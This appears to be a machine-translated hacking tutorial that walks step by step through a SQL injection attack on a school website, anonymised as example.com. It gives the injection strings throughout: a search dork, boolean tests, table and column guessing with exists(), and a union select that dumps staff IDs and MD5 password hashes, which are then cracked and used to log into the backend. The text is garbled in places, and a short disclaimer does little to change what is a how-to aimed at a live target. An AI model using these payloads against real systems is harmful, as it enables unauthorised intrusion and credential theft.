Teach you how to blacklist others' websites in minutes

Disclaimer: The purpose of this article is technical exchange. Please do not use it for special purposes! I am not responsible for all consequences.

/**********/

Preface
/**********/
Scriptkiddie)It is a derogatory term used to describe: beginners who are "hackers" and are complacent. Script kiddies do not discover system vulnerabilities as real hackers do. They usually use programs developed by others to maliciously destroy them.
Others' systems. The general stereotype is that a teenager with no specialist experience is trying to destroy innocent websites to surprise his friends. This is called script kiddies. They often copy script code from some websites and paste it everywhere, but do not necessarily understand their methods and principles. They admire the capabilities and exploration spirit of hackers, but unlike hackers, script kiddies generally only have a basic understanding and hobby of computer systems, however, it does not focus on the research of program languages, algorithms, and data structures, although these are essential qualities for real hackers.
--------------------------------------------------------------
Today, I am not going to use any tools to gracefully hack a website ( For privacy and legal considerations, this website is now called example.com).

/**********/
Preparations

/**********/

Google hack:Inurl :? Id = site: example.com

Find a site: http://example.com/school/postgraduate/tutor_detail.php? Id = 1001

Good, try: http://example.com/school/postgraduate/tutor_detail.php? Id = 1001'

Returned error page:

Then, try again:
Http://example.com/school/postgraduate/tutor_detail.php? Id = 1001 And 1 = 1, Return correct
Http://example.com/school/postgraduate/tutor_detail.php? Id = 1001 And 1 = 2, Error returned

--> Indicates that the numeric SQL injection vulnerability exists.(If you do not know why, you are the script kiddie -_-).

/**********/
Start Hack

/**********/

1) Name of the table to be guessed

This requires some social engineering (haha ~)

First, this is a school website, Electronic Engineering Institute (ee), second, this system is an OA system, and again, the current error page is the teacher (teachers) information ....
Finally, after many (many times) experiments, we found that the following SQL statement can return the correct query results:

and exists (select * from eeoa_teachers)

[Note ]:The exists () function is used to check whether a subquery returns at least one row of data.In fact, no data is returned, but True or False is returned.

The actual executed SQL statement may be as follows:

select * from someTable and exists(select * from eeoa_teachers)

Okay. This indicates that the table eeoa_teachers exists.

2) use UNION to guess the number of columns in the current table

Method 1:

union select 1,2,3,4

Method 2:

order by 4

(Sort by 4th columns. If 4th columns exist, the returned result is correct. If order by 5 is returned, an error occurs, indicating that this table has four columns .)

Successfully executed URI:

Example.com/school/postgraduate/tutor.php? Id = 1001% 20 union % 20 select %, 9, 10

Finally, we can see that the current table has 10 columns. How can this be used?

--> The union query will be executed using this information later. The union query requires the same number of columns before and after the union query..

3) Name of the cracked column:

I guess the username is incorrect. What would it be? The Last guess is jgh. Why is jgh?

-- The logon page prompts you to enter the "instructor ID". For the level of the Chinese programmer, this field is likely to be jhg (refer to the url of 12306 ...)

Similarly, the password is not password, but mm !!! Hahaha

exists(select jgh, mm from eeoa_teachers）

The returned result is still correct.

[Note]: Common hack column names can be google.

4) crack the instructor ID:

Because the website designers are unfriendly and prompt to enter the "10 Teaching Staff Number", haha, that's easy to do. google the Teaching Staff Number of this school to find the rule:Year (2014) + school code (111) + personal ID (XXX)

There are only 10*10*10 = 1000 possibilities. There are still many tools. Continue to google hack --> go directly to the address book of this school instructor and find eaxmple.com/eeoa/contact.php.

OK. If you get the teaching Number of nearly instructors, you don't need to crack it.

5) password cracking:

To crack the password, you must first obtain the password. Come on! You can run the union query.

union select 1,2,3,4,5,6,7,8,jgh,mm from eeoa_teachers

The returned page is as follows ():

OK. We got the md5 encrypted password, and went to www. md5online. comdecrypt to get a few weak passwords.

---------------------------------------------------------

(Here, I would like to remind you: It is best not to use some websites that query md5 encryption online to check the MD5 of their passwords, because it will save your query results to the rainbow table! For example, if I use a password such as aE4v2z and use MD5 to encrypt it, ad31a4c10a4da639184b9e5d4de36 is returned, and I cannot find it on the Internet, aE4v2z is returned, isn't it dangerous ?)

--------------------------------------------------------

6) log on to the background:

7) Finally, I want to tell myself: Learn the principles well, and don't do the script kiddie again!